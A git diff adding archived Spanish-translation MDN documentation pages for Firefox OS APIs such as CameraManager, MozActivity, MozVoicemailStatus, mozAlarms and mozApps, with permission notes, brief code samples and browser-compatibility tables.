+  - camera
+translation_of: Archive/B2G_OS/API/CameraManager
+---
+<p></p><section class="Quick_links" id="Quick_Links"><ol><li><strong><a href="/es/docs/Mozilla/Firefox_OS/API/Camera_API">Camera API</a></strong></li><li><strong><a href="/es/docs/Mozilla/Firefox_OS/API/Archive"><code>Archive</code></a></strong></li><li class="toggle"><details open><summary>Páginas relacionadas a Camera API</summary><ol><li><a href="/es/docs/Mozilla/Firefox_OS/API/CameraCapabilities"><code>CameraCapabilities</code></a></li><li><a href="/es/docs/Mozilla/Firefox_OS/API/CameraControl"><code>CameraControl</code></a></li><li><a href="/es/docs/Mozilla/Firefox_OS/API/CameraManager"><code>CameraManager</code></a></li></ol></details></li></ol></section><p></p>
+
+<p></p><div class="warning">
+    <p style="text-align: center;">This API is available on <a href="/en-US/docs/Mozilla/Firefox_OS">Firefox OS</a> for <a href="/en-US/docs/Mozilla/Firefox_OS/Security/Application_security#App_Types">privileged or certified applications</a> only.</p>
+</div><p></p>
+
+<p><span class="seoSummary">The <strong><code>CameraManager</code></strong> interface provides access to any cameras available on the device being used.</span></p>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em>This interface doesn't implements, nor inherits any property.</em></p>
+
+<h2 id="Methods">Methods</h2>
+
+<dl>
+ <dt><a href="/es/docs/Web/API/CameraManager/getCamera" title="La documentación acerca de este tema no ha sido escrita todavía . ¡Por favor  considera contribuir !"><code>CameraManager.getCamera()</code></a></dt>
+ <dd>Gets a camera instance based on its identifier.</dd>
+ <dt><a href="/es/docs/Web/API/CameraManager/getListOfCameras" title="La documentación acerca de este tema no ha sido escrita todavía . ¡Por favor  considera contribuir !"><code>CameraManager.getListOfCameras()</code></a></dt>
+ <dd>Returns an <a href="/en-US/docs/JavaScript/Reference/Global_Objects/Array" title="/en-US/docs/JavaScript/Reference/Global_Objects/Array"><code>Array</code></a> of all camera identifiers available on the device.</dd>
+</dl>
+
+<h2 id="Specification" name="Specification">Specification</h2>
+
+<p></p><p>Not part of any specification as yet; this will probably be replaced by WebRTC when it gains more widespread support on mobile devices.</p><p></p>
+
+<h2 id="Permissions">Permissions</h2>
+
+<p></p><p>Up until Firefox OS 1.4, The Camera API was a certified API, so not accessible to third party apps. From Firefox OS 2.0 onwards, the permission level has been downgraded to privileged, so it is now available for developers to use in their apps.</p>
+
+<pre class="brush: json">"permissions": {
+  "camera": {
+    "description": "Required for accessing cameras on the device."
+  }
+}</pre><p></p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/es/docs/Web/API/CameraControl" title="La documentación acerca de este tema no ha sido escrita todavía . ¡Por favor  considera contribuir !"><code>CameraControl</code></a></li>
+ <li><a href="/es/docs/Web/API/Navigator/mozCamera" title="La documentación acerca de este tema no ha sido escrita todavía . ¡Por favor  considera contribuir !"><code>navigator.mozCamera</code></a></li>
+</ul>
diff --git a/files/es/archive/b2g_os/api/index.html b/files/es/archive/b2g_os/api/index.html
new file mode 100644
index 0000000000..8826729643
--- /dev/null
+++ b/files/es/archive/b2g_os/api/index.html
@@ -0,0 +1,120 @@
+---
+title: Firefox OS APIs
+slug: Archive/B2G_OS/API
+tags:
+  - NeedsTranslation
+  - TopicStub
+translation_of: Archive/B2G_OS/API
+---
+<p></p><section class="Quick_links" id="Quick_Links">
+
+<ol>
+  <li class="toggle">
+      <details>
+          <summary>Build and install</summary>
+          <ol>
+            <li><strong><a href="/es/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS">Build and install overview</a></strong></li>
+            <li><a href="/es/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/B2G_OS_build_process_summary">B2G OS build process summary</a></li>
+            <li><a href="/es/docs/Mozilla/B2G_OS/B2G_OS_build_prerequisites">Build prerequisites</a></li>
+            <li><a href="/es/docs/Mozilla/B2G_OS/Preparing_for_your_first_B2G_build">Preparing for your first build</a></li>
+            <li><a href="/es/docs/Mozilla/B2G_OS/Building">Building B2G OS</a></li>
+            <li><a href="/es/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/B2G_installer_add-on">B2G installer add-on</a></li>
+            <li><a href="/es/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/Building_for_Flame_on_OS_X">Building B2G OS for Flame on Mac OS X</a></li>
+            <li><a href="/es/docs/Mozilla/B2G_OS/Choosing_how_to_run_Gaia_or_B2G">Choosing how to run Gaia or B2G OS</a></li>
+            <li><a href="/es/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/Compatible_Devices">Compatible Devices</a></li>
+            <li><a href="/es/docs/Mozilla/B2G_OS/Installing_on_a_mobile_device">Installing B2G OS on a mobile device</a></li>
+            <li><a href="/es/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/B2G_OS_update_packages">Creating and applying B2G OS update packages</a></li>
+            <li><a href="/es/docs/Mozilla/B2G_OS/Building/FOTA_community_builds">Building and installing FOTA community builds</a></li>
+            <li><a href="/es/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/B2G_Build_Variables_Reference_Sheet">B2G build variables reference sheet</a></li>
+          </ol>
+      </details>
+  </li>
+  <li class="toggle">
+      <details>
+          <summary>Porting B2G OS</summary>
+          <ol>
+            <li><strong><a href="/es/docs/Mozilla/B2G_OS/Porting_B2G_OS">Porting overview</a></strong></li>
+            <li><a href="/es/docs/Mozilla/B2G_OS/Porting_B2G_OS/basics">Porting basics</a></li>
+            <li><a href="/es/docs/Mozilla/B2G_OS/Porting_B2G_OS/Porting_on_CyanogenMod">Porting on CyanogenMod</a></li>
+          </ol>
+      </details>
+  </li>
+  <li class="toggle">
+      <details>
+          <summary>Developing Gaia</summary>
+          <ol>
+            <li><strong><a href="/es/docs/Mozilla/B2G_OS/Developing_Gaia">Developing Gaia overview</a></strong></li>
+            <li><a href="/es/docs/Mozilla/B2G_OS/Developing_Gaia/Running_the_Gaia_codebase">Running the Gaia codebase</a></li>
+            <li><a href="/es/docs/Mozilla/B2G_OS/Mulet">Run Gaia on desktop using Mulet</a></li>
+            <li><a href="/es/docs/Mozilla/B2G_OS/Developing_Gaia/Understanding_the_Gaia_codebase">Understanding the Gaia codebase</a></li>
+            <li><a href="/es/docs/Mozilla/B2G_OS/Developing_Gaia/Making_Gaia_code_changes">Making Gaia code changes</a></li>
+            <li><a href="/es/docs/Mozilla/B2G_OS/Developing_Gaia/Testing_Gaia_code_changes">Testing Gaia code changes</a></li>
+            <li><a href="/es/docs/Mozilla/B2G_OS/Developing_Gaia/Submitting_a_Gaia_patch">Submitting a Gaia patch</a></li>
+            <li><a href="/es/docs/Mozilla/B2G_OS/Developing_Gaia/Build_System_Primer">Gaia build system primer</a></li>
+            <li><a href="/es/docs/Mozilla/B2G_OS/Developing_Gaia/Different_ways_to_run_Gaia">Different ways to run Gaia</a></li>
+            <li><a href="/es/docs/Mozilla/B2G_OS/Developing_Gaia/make_options_reference">Make options reference</a></li>
+            <li><a href="/es/docs/Mozilla/B2G_OS/Developing_Gaia/Gaia_tools_reference">Gaia tools reference</a></li>
+          </ol>
+      </details>
+  </li>
+  <li><a href="/es/docs/Mozilla/B2G_OS/API">B2G OS APIs</a></li>
+</ol>
+</section><p></p>
+
+<p>This page lists all Firefox OS-specific APIs.</p>
+
+<p></p><div class="index">
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+</div><p></p>
diff --git a/files/es/archive/b2g_os/api/mozactivity/index.html b/files/es/archive/b2g_os/api/mozactivity/index.html
new file mode 100644
index 0000000000..d3fb6a28fe
--- /dev/null
+++ b/files/es/archive/b2g_os/api/mozactivity/index.html
@@ -0,0 +1,69 @@
+---
+title: MozActivity
+slug: Archive/B2G_OS/API/MozActivity
+translation_of: Archive/B2G_OS/API/MozActivity
+---
+<p></p><section class="Quick_links" id="Quick_Links"><ol><li><strong><a href="/es/docs/Web/API/Archive"><code>Archive</code></a></strong></li></ol></section><p></p>
+<p></p><div class="overheadIndicator nonStandard nonStandardHeader">
+      <p><strong><span title="This API has not been standardized."><i class="icon-warning-sign"> </i></span> No estándar</strong><br>
+      This feature is non-standard and is not on a standards track. Do not use it on production sites facing the Web: it will not work for every user. There may also be large incompatibilities between implementations and the behavior may change in the future.</p>
+      </div><p></p>
+<p></p><div class="warning">
+    <p style="text-align: center;">This API is available on Firefox or <a href="/en-US/docs/Mozilla/Firefox_OS">Firefox OS</a> for <a href="/en-US/docs/Mozilla/Firefox_OS/Security/Application_security#App_Types">installed or higher privileged applications</a>.</p>
+</div><p></p>
+<h2 id="Summary">Summary</h2>
+<p>The <code>MozActivity</code> interface allows apps to delegate an activity to another app.</p>
+<p>This interface fully inherits from the <a href="/es/docs/Web/API/DOMRequest" title="La documentación acerca de este tema no ha sido escrita todavía . ¡Por favor  considera contribuir !"><code>DOMRequest</code></a> interface excepts that it has a constructor that it takes a <a href="/es/docs/Web/API/MozActivityOptions" title="La documentación acerca de este tema no ha sido escrita todavía . ¡Por favor  considera contribuir !"><code>MozActivityOptions</code></a> as a parameter.</p>
+<div class="note">
+ <p><strong>Note:</strong> As soon as a MozActivity is instentiated, the system will prompt the user to choose an activity handler. It's not possible to instentiate an activity and wait to use it.</p>
+</div>
+<h2 id="Properties">Properties</h2>
+<p>Inherited from <a href="/es/docs/Web/API/DOMRequest" title="La documentación acerca de este tema no ha sido escrita todavía . ¡Por favor  considera contribuir !"><code>DOMRequest</code></a>:</p>
+<p></p><dl>
+ <dt><a href="/en-US/docs/Web/API/DOMRequest/onsuccess" title="The documentation about this has not yet been written; please consider contributing!"><code>DOMRequest.onsuccess</code></a></dt>
+ <dd>A callback handler called when the operation represented by the <code>DOMRequest</code> is completed.</dd>
+ <dt><a href="/en-US/docs/Web/API/DOMRequest/onerror" title="The documentation about this has not yet been written; please consider contributing!"><code>DOMRequest.onerror</code></a></dt>
+ <dd>A callback handler that gets called when an error occurs while processing the operation.</dd>
+ <dt><a href="/en-US/docs/Web/API/DOMRequest/readyState" title="The documentation about this has not yet been written; please consider contributing!"><code>DOMRequest.readyState</code></a></dt>
+ <dd>A <a href="/en-US/docs/JavaScript/Reference/Global_Objects/String" title="JavaScript/Reference/Global_Objects/String"><code>string</code></a> indicating whether or not the operation is finished running. Its value is either "done" or "pending".</dd>
+ <dt><a href="/en-US/docs/Web/API/DOMRequest/result" title="The documentation about this has not yet been written; please consider contributing!"><code>DOMRequest.result</code></a></dt>
+ <dd>The operation's result.</dd>
+ <dt><a href="/en-US/docs/Web/API/DOMRequest/error" title="The documentation about this has not yet been written; please consider contributing!"><code>DOMRequest.error</code></a></dt>
+ <dd>Error information, if any.</dd>
+</dl><p></p>
+<dl>
+</dl>
+<h2 id="Methods">Methods</h2>
+<p>None.</p>
+<h2 id="Example">Example</h2>
+<pre class="brush: js">var activity = new MozActivity({
+  // The name of the activity the app wants to delegate the action
+  name: "pick",
+
+  // Data requierd by the activity. Each application acting as an activity handler
+  // can have it's own requirement for the activity. If the data does not fulfill
+  // all the requirement of any activity handler, the error event will be sent
+  // otherwise, the event sent depend on the activity handler itself.
+  data: {
+    type: "image/jpeg"
+  }
+});
+
+activity.onsuccess = function() {
+  console.log("Activity successfuly handled");
+
+  var imgSrc = this.result.blob;
+}
+
+activity.onerror = function() {
+  console.log("The activity encouter en error: " + this.error);
+}
+</pre>
+<h2 id="Specification">Specification</h2>
+<p></p><p><em>Web Activities</em> is not part of any specification. However, it has some overlap with the proposed <a href="https://dvcs.w3.org/hg/web-intents/raw-file/tip/spec/Overview-respec.html" title="http://www.w3.org/TR/web-intents/">Web Intents</a> specification. Mozilla actually proposed <em>Web Activities</em> as <a href="https://wiki.mozilla.org/WebAPI/WebActivities" title="https://wiki.mozilla.org/WebAPI/WebActivities">a counter proposal</a> to <em>Web Intents</em>. For more information about this, see discussion on the <a href="http://lists.w3.org/Archives/Public/public-web-intents/2012Jun/0061.html" title="http://lists.w3.org/Archives/Public/public-web-intents/2012Jun/0061.html">Web Intents Task Force ML</a>.</p><p></p>
+<h2 id="See_also">See also</h2>
+<ul>
+ <li><a href="/es/docs/Web/API/DOMRequest" title="La documentación acerca de este tema no ha sido escrita todavía . ¡Por favor  considera contribuir !"><code>DOMRequest</code></a></li>
+ <li><a href="/es/docs/Web/API/MozActivityOptions" title="La documentación acerca de este tema no ha sido escrita todavía . ¡Por favor  considera contribuir !"><code>MozActivityOptions</code></a></li>
+ <li><a href="/en-US/docs/WebAPI/Web_Activities" title="/en-US/docs/WebAPI/Web_Activities">Web Activities</a></li>
+</ul>
diff --git a/files/es/archive/b2g_os/api/mozvoicemailstatus/index.html b/files/es/archive/b2g_os/api/mozvoicemailstatus/index.html
new file mode 100644
index 0000000000..b00c181193
--- /dev/null
+++ b/files/es/archive/b2g_os/api/mozvoicemailstatus/index.html
@@ -0,0 +1,67 @@
+---
+title: MozVoicemailStatus
+slug: Archive/B2G_OS/API/MozVoicemailStatus
+translation_of: Archive/B2G_OS/API/MozVoicemailStatus
+---
+<section class="Quick_links" id="Quick_Links">
+<ol>
+ <li><strong><code>Archive</code></strong></li>
+ <li data-default-state="open"><a href="#"><strong>Related pages for Voicemail API</strong></a>
+  <ol>
+   <li><a href="/en-US/docs/Mozilla/Firefox_OS/API/MozVoicemail"><code>MozVoicemail</code></a></li>
+   <li><a href="/en-US/docs/Mozilla/Firefox_OS/API/MozVoicemailEvent"><code>MozVoicemailEvent</code></a></li>
+   <li><a href="/en-US/docs/Mozilla/Firefox_OS/API/MozVoicemailStatus"><code>MozVoicemailStatus</code></a></li>
+  </ol>
+ </li>
+</ol>
+</section>
+
+<div class="warning">
+<p style="text-align: center;">This API is available on <a href="/en-US/docs/Mozilla/Firefox_OS">Firefox OS</a> for <a href="/en-US/docs/Mozilla/Firefox_OS/Security/Application_security#App_Types">internal applications</a> only.</p>
+</div>
+
+
+
+<h2 id="Summary">Summary</h2>
+
+<p>The <code>MozVoicemailStatus</code> API provides access to a voicemail status.</p>
+
+<h2 id="Interface_overview">Interface overview</h2>
+
+<pre>interface MozVoicemailStatus
+{
+  readonly attribute unsigned long serviceId;
+  readonly attribute boolean hasMessage;
+  readonly attribute long messageCount;
+  readonly attribute DOMString returnNumber;
+  readonly attribute DOMString returnMessage;
+};</pre>
+
+<h2 id="Properties">Properties</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/API/MozVoicemailStatus/serviceId" title="The documentation about this has not yet been written; please consider contributing!"><code>MozVoicemailStatus.serviceId</code></a> <span class="inlineIndicator readOnly readOnlyInline" title="This value may not be changed.">Read only </span></dt>
+ <dd>A number indicating the voicemail service ID.</dd>
+ <dt><a href="/en-US/docs/Web/API/MozVoicemailStatus/hasMessage" title="The documentation about this has not yet been written; please consider contributing!"><code>MozVoicemailStatus.hasMessage</code></a> <span class="inlineIndicator readOnly readOnlyInline" title="This value may not be changed.">Read only </span></dt>
+ <dd>A boolean indicating if there are messages available within the voicemail box.</dd>
+ <dt><a href="/en-US/docs/Web/API/MozVoicemailStatus/messageCount" title="The documentation about this has not yet been written; please consider contributing!"><code>MozVoicemailStatus.messageCount</code></a> <span class="inlineIndicator readOnly readOnlyInline" title="This value may not be changed.">Read only </span></dt>
+ <dd>A number indicating the total message count.</dd>
+ <dt><a href="/en-US/docs/Web/API/MozVoicemailStatus/returnNumber" title="The documentation about this has not yet been written; please consider contributing!"><code>MozVoicemailStatus.returnNumber</code></a> <span class="inlineIndicator readOnly readOnlyInline" title="This value may not be changed.">Read only </span></dt>
+ <dd>A string representing the return call number for the voicemail status.</dd>
+ <dt><a href="/en-US/docs/Web/API/MozVoicemailStatus/returnMessage" title="The documentation about this has not yet been written; please consider contributing!"><code>MozVoicemailStatus.returnMessage</code></a> <span class="inlineIndicator readOnly readOnlyInline" title="This value may not be changed.">Read only </span></dt>
+ <dd>A string representing a displayable return call message for the voicemail status.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p>None.</p>
+
+<h2 id="Specification">Specification</h2>
+
+<p>Not part of any specification yet.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/MozVoicemail" title="The documentation about this has not yet been written; please consider contributing!"><code>MozVoicemail</code></a></li>
+</ul>
diff --git a/files/es/archive/b2g_os/api/navigator/index.html b/files/es/archive/b2g_os/api/navigator/index.html
new file mode 100644
index 0000000000..1760c18acd
--- /dev/null
+++ b/files/es/archive/b2g_os/api/navigator/index.html
@@ -0,0 +1,12 @@
+---
+title: Navigator (Firefox OS extensions)
+slug: Archive/B2G_OS/API/Navigator
+translation_of: Archive/B2G_OS/API/Navigator
+---
+<p>(es translation)</p>
+
+<p>The <code><strong>Navigator</strong></code> interface represents the state and the identity of the user agent. It allows scripts to query it and to register themselves to carry on some activities. This page represents the list of properties and methods added to <code>Navigator</code> on Firefox OS devices. For the list of properties and methods available to any Web sites, consult <a href="/es/docs/Web/API/Navigator" title="La interfaz Navigator representa el estado y la identidad del user agent. Es completamente consultable y es posible registrar scripts para que ejecuten diversas actividades."><code>Navigator</code></a>.</p>
+
+<p>A <code>Navigator</code> object can be retrieved using the read-only <a href="/es/docs/Web/API/Window/navigator" title="La documentación acerca de este tema no ha sido escrita todavía . ¡Por favor  considera contribuir !"><code>Window.navigator</code></a> property.</p>
+
+<p></p><dl><dt class="landingPageList"><a href="/es/docs/Archive/B2G_OS/API/Navigator/mozApps">Navigator.mozApps</a></dt><dd class="landingPageList">Retorna un objecto <a href="/es/docs/Web/API/Apps" title="La documentación acerca de este tema no ha sido escrita todavía . ¡Por favor  considera contribuir !"><code>Apps</code></a> que puedes usar para instalar, manejar y controlar <a href="/es/Apps">Open Web Apps</a> en el navegador.</dd><dt class="landingPageList"><a href="/es/docs/Archive/B2G_OS/API/Navigator/MozTelephony">Navigator.mozTelephony</a></dt><dd class="landingPageList"><span id="result_box" lang="es"><span class="hps">Devuelve un objeto</span> <a href="/es/docs/Web/API/Telephony"><span class="hps"> Telephony</span></a> <span class="hps">que se puede utilizar para</span> <span class="hps">iniciar</span> <span class="hps">y controlar</span> <span class="hps">las llamadas</span> <span class="hps">telefónicas del</span> <span class="hps">navegador.</span></span></dd><dt class="landingPageList"><a href="/es/docs/Archive/B2G_OS/API/Navigator/mozAlarms">window.navigator.mozAlarms</a></dt><dd class="landingPageList">Retorna un objeto <a href="/es/docs/Web/API/MozAlarmsManager" title="La documentación acerca de este tema no ha sido escrita todavía . ¡Por favor  considera contribuir !"><code>MozAlarmsManager</code></a> que puede usar para programar notificaciones o aplicaciones que se inicien en un momento determinado.</dd></dl><p></p>
diff --git a/files/es/archive/b2g_os/api/navigator/mozalarms/index.html b/files/es/archive/b2g_os/api/navigator/mozalarms/index.html
new file mode 100644
index 0000000000..d83b3dc520
--- /dev/null
+++ b/files/es/archive/b2g_os/api/navigator/mozalarms/index.html
@@ -0,0 +1,116 @@
+---
+title: window.navigator.mozAlarms
+slug: Archive/B2G_OS/API/Navigator/mozAlarms
+translation_of: Archive/B2G_OS/API/Navigator/mozAlarms
+---
+<p></p><section class="Quick_links" id="Quick_Links"><ol><li><strong><a href="/es/docs/Web/API/Archive"><code>Archive</code></a></strong></li><li class="toggle"><details open><summary>Páginas relacionadas a Firefox OS</summary><ol><li><a href="/es/docs/Web/API/MozAlarmsManager"><code>MozAlarmsManager</code></a></li><li><a href="/es/docs/Web/API/MozMobileNetworkInfo"><code>MozMobileNetworkInfo</code></a></li><li><a href="/es/docs/Web/API/MozWifiP2pGroupOwner"><code>MozWifiP2pGroupOwner</code></a></li></ol></details></li></ol></section><div class="overheadIndicator nonStandard nonStandardHeader">
+      <p><strong><span title="This API has not been standardized."><i class="icon-warning-sign"> </i></span> No estándar</strong><br>
+      This feature is non-standard and is not on a standards track. Do not use it on production sites facing the Web: it will not work for every user. There may also be large incompatibilities between implementations and the behavior may change in the future.</p>
+      </div><p></p>
+
+<p></p><div class="warning">
+    <p style="text-align: center;">This API is available on Firefox or <a href="/en-US/docs/Mozilla/Firefox_OS">Firefox OS</a> for <a href="/en-US/docs/Mozilla/Firefox_OS/Security/Application_security#App_Types">installed or higher privileged applications</a>.</p>
+</div><p></p>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>Retorna un objeto <a href="/es/docs/Web/API/MozAlarmsManager" title="La documentación acerca de este tema no ha sido escrita todavía . ¡Por favor  considera contribuir !"><code>MozAlarmsManager</code></a> que puede usar para programar notificaciones o aplicaciones que se inicien en un momento determinado.</p>
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<pre class="eval">var alarms = window.navigator.mozAlarms;
+</pre>
+
+<h2 id="Valor">Valor</h2>
+
+<p><code>navigator.mozAlarms</code> es un objeto <a href="/es/docs/Web/API/MozAlarmsManager" title="La documentación acerca de este tema no ha sido escrita todavía . ¡Por favor  considera contribuir !"><code>MozAlarmsManager</code></a>.</p>
+
+<h2 id="Especificación">Especificación</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td><a class="external" href="https://www.w3.org/2012/sysapps/web-alarms/#interface-navigator" hreflang="en" lang="en" title="La especificación 'Web Alarms API'">Web Alarms API</a></td>
+   <td><span class="spec-Obsolete">Obsolete</span></td>
+   <td>Define la extensión para el objeto <a href="/es/docs/Web/API/Window/navigator" title="La documentación acerca de este tema no ha sido escrita todavía . ¡Por favor  considera contribuir !"><code>navigator</code></a> .</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<p></p><p class="warning"><strong><a href="https://github.com/mdn/browser-compat-data">We're converting our compatibility data into a machine-readable JSON format</a></strong>.
+            This compatibility table still uses the old format,
+            because we haven't yet converted the data it contains.
+            <strong><a href="/es/docs/MDN/Contribute/Structures/Compatibility_tables">Find out how you can help!</a></strong></p>
+
+<div class="htab">
+    <a id="AutoCompatibilityTable" name="AutoCompatibilityTable"></a>
+    <ul>
+        <li class="selected"><a>Escritorio</a></li>
+        <li><a>Móvil</a></li>
+    </ul>
+</div><p></p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td><span style="color: #f00;">Sin soporte</span></td>
+   <td><span style="color: #f00;">Sin soporte</span></td>
+   <td><span style="color: #f00;">Sin soporte</span></td>
+   <td><span style="color: #f00;">Sin soporte</span></td>
+   <td><span style="color: #f00;">Sin soporte</span></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox OS</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td><span style="color: #f00;">Sin soporte</span></td>
+   <td>1.0</td>
+   <td><span style="color: #f00;">Sin soporte</span></td>
+   <td><span style="color: #f00;">Sin soporte</span></td>
+   <td><span style="color: #f00;">Sin soporte</span></td>
+   <td><span style="color: #f00;">Sin soporte</span></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h3 id="Nota_de_implementación_en_Gecko">Nota de implementación en Gecko</h3>
+
+<p>Esta API es disponible actualmente solo en Firefox OS para cualquier aplicación instalada. La especificación actual para esta API no es considerada lo suficientemente estable como para utilizar sin prefijo actualmente.</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/es/docs/Web/API/MozAlarmsManager" title="La documentación acerca de este tema no ha sido escrita todavía . ¡Por favor  considera contribuir !"><code>MozAlarmsManager</code></a></li>
+</ul>
diff --git a/files/es/archive/b2g_os/api/navigator/mozapps/index.html b/files/es/archive/b2g_os/api/navigator/mozapps/index.html
new file mode 100644
index 0000000000..a0df89d37c
--- /dev/null
+++ b/files/es/archive/b2g_os/api/navigator/mozapps/index.html
@@ -0,0 +1,96 @@
+---
+title: Navigator.mozApps
+slug: Archive/B2G_OS/API/Navigator/mozApps
+tags:
+  - API
+  - API de aplicaciones
+  - No estandar
+  - aplicaciones
+translation_of: Archive/B2G_OS/API/Navigator/mozApps
+---
+<p></p><section class="Quick_links" id="Quick_Links"><ol><li><strong><a href="/es/docs/Web/API/Archive"><code>Archive</code></a></strong></li><li class="toggle"><details open><summary>Páginas relacionadas a Firefox OS</summary><ol><li><a href="/es/docs/Web/API/MozAlarmsManager"><code>MozAlarmsManager</code></a></li><li><a href="/es/docs/Web/API/MozMobileNetworkInfo"><code>MozMobileNetworkInfo</code></a></li><li><a href="/es/docs/Web/API/MozWifiP2pGroupOwner"><code>MozWifiP2pGroupOwner</code></a></li></ol></details></li></ol></section><p></p>
+
+<p></p><div class="overheadIndicator nonStandard nonStandardHeader">
+      <p><strong><span title="This API has not been standardized."><i class="icon-warning-sign"> </i></span> No estándar</strong><br>
+      This feature is non-standard and is not on a standards track. Do not use it on production sites facing the Web: it will not work for every user. There may also be large incompatibilities between implementations and the behavior may change in the future.</p>
+      </div><p></p>
+
+<h2 id="Summary" name="Summary">Descripción</h2>
+
+<p>Retorna un objecto <a href="/es/docs/Web/API/Apps" title="La documentación acerca de este tema no ha sido escrita todavía . ¡Por favor  considera contribuir !"><code>Apps</code></a> que puedes usar para instalar, manejar y controlar <a href="/es/Apps">Open Web Apps</a> en el navegador.</p>
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<pre class="eval">var <em>apps</em> = window.navigator.mozApps;
+</pre>
+
+<h2 id="Value" name="Value">Valor</h2>
+
+<p><code>navigator.mozApps</code> es un objecto <a href="/es/docs/Web/API/Apps" title="La documentación acerca de este tema no ha sido escrita todavía . ¡Por favor  considera contribuir !"><code>Apps</code></a> que puedes usar para instalar, manejar y controlar <a href="/es/Apps">Open Web Apps</a> en el navegador.</p>
+
+<h2 id="Specification" name="Specification">Especificación</h2>
+
+<p>No es parte de ninguna especificación; implementado en Gecko en la base del <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=697383" title="FIXED: implement navigator.mozApps">error 697383</a>.</p>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<p></p><p class="warning"><strong><a href="https://github.com/mdn/browser-compat-data">We're converting our compatibility data into a machine-readable JSON format</a></strong>.
+            This compatibility table still uses the old format,
+            because we haven't yet converted the data it contains.
+            <strong><a href="/es/docs/MDN/Contribute/Structures/Compatibility_tables">Find out how you can help!</a></strong></p>
+
+<div class="htab">
+    <a id="AutoCompatibilityTable" name="AutoCompatibilityTable"></a>
+    <ul>
+        <li class="selected"><a>Escritorio</a></li>
+        <li><a>Móvil</a></li>
+    </ul>
+</div><p></p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte basico</td>
+   <td>---</td>
+   <td><a href="/en-US/Firefox/Releases/11" title="Publicado en 2012-03-13.">11.0</a> (11.0)</td>
+   <td>---</td>
+   <td>---</td>
+   <td>---</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte basico</td>
+   <td>---</td>
+   <td><a href="/en-US/Firefox/Releases/11" title="Publicado en 2012-03-13.">11.0</a> (11.0)</td>
+   <td>---</td>
+   <td>---</td>
+   <td>---</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p> </p>
diff --git a/files/es/archive/b2g_os/api/navigator/moztelephony/index.html b/files/es/archive/b2g_os/api/navigator/moztelephony/index.html
new file mode 100644
index 0000000000..9a67f43f5c
--- /dev/null
+++ b/files/es/archive/b2g_os/api/navigator/moztelephony/index.html
@@ -0,0 +1,83 @@
+---
+title: Navigator.mozTelephony
+slug: Archive/B2G_OS/API/Navigator/MozTelephony
+translation_of: Archive/B2G_OS/API/Navigator/MozTelephony
+---
+<p></p><section class="Quick_links" id="Quick_Links"><ol><li><strong><a href="/es/docs/Web/API/Archive"><code>Archive</code></a></strong></li><li class="toggle"><details open><summary>Páginas relacionadas a Firefox OS</summary><ol><li><a href="/es/docs/Web/API/MozAlarmsManager"><code>MozAlarmsManager</code></a></li><li><a href="/es/docs/Web/API/MozMobileNetworkInfo"><code>MozMobileNetworkInfo</code></a></li><li><a href="/es/docs/Web/API/MozWifiP2pGroupOwner"><code>MozWifiP2pGroupOwner</code></a></li></ol></details></li></ol></section> <div class="overheadIndicator nonStandard nonStandardHeader">
+      <p><strong><span title="This API has not been standardized."><i class="icon-warning-sign"> </i></span> No estándar</strong><br>
+      This feature is non-standard and is not on a standards track. Do not use it on production sites facing the Web: it will not work for every user. There may also be large incompatibilities between implementations and the behavior may change in the future.</p>
+      </div><p></p>
+
+<p></p><div class="warning">
+    <p style="text-align: center;">This API is available on <a href="/en-US/docs/Mozilla/Firefox_OS">Firefox OS</a> for <a href="/en-US/docs/Mozilla/Firefox_OS/Security/Application_security#App_Types">internal applications</a> only.</p>
+</div><p></p>
+
